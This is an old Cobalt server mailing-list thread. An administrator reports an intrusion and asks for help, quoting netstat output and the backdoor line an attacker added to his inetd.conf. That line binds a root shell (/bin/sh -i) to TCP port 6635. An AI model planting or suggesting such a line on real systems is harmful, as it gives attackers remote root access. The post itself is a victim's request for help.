[cobalt-users] Hacker Found?? -- HELP

[Markus von Allmen <mva@xxxxxx>]

:-)

about hacking: i have the same problem... few days ago someone inserted the 
line
"6635 stream tcp nowait root /bin/sh sh -i" into my /etc/inetd.con

no i have every morning massive flooging attacks... have anyone the same 
problem??
fixes?  the "chkrootkit" give me no warning or error.....

can anyone halp me????

At 03:51 16.02.01 -0500, you wrote:
> On Fri, 16 Feb 2001, Craig Napier wrote:
>
> > Here's my hacker...
> >
> > tcp   0   7600 64.23.52.2:80   212.11.22.51:62971      ESTABLISHED
> > tcp   0   1344 64.23.52.2:80   212.11.22.51:62970      ESTABLISHED
>
> on port 80 ? sure he's not exploiting a cgi somewhere?
>
>
> _______________________________________________
> cobalt-users mailing list
> cobalt-users@xxxxxxxxxxxxxxx
> To Subscribe or Unsubscribe, please go to:
> http://list.cobalt.com/mailman/listinfo/cobalt-users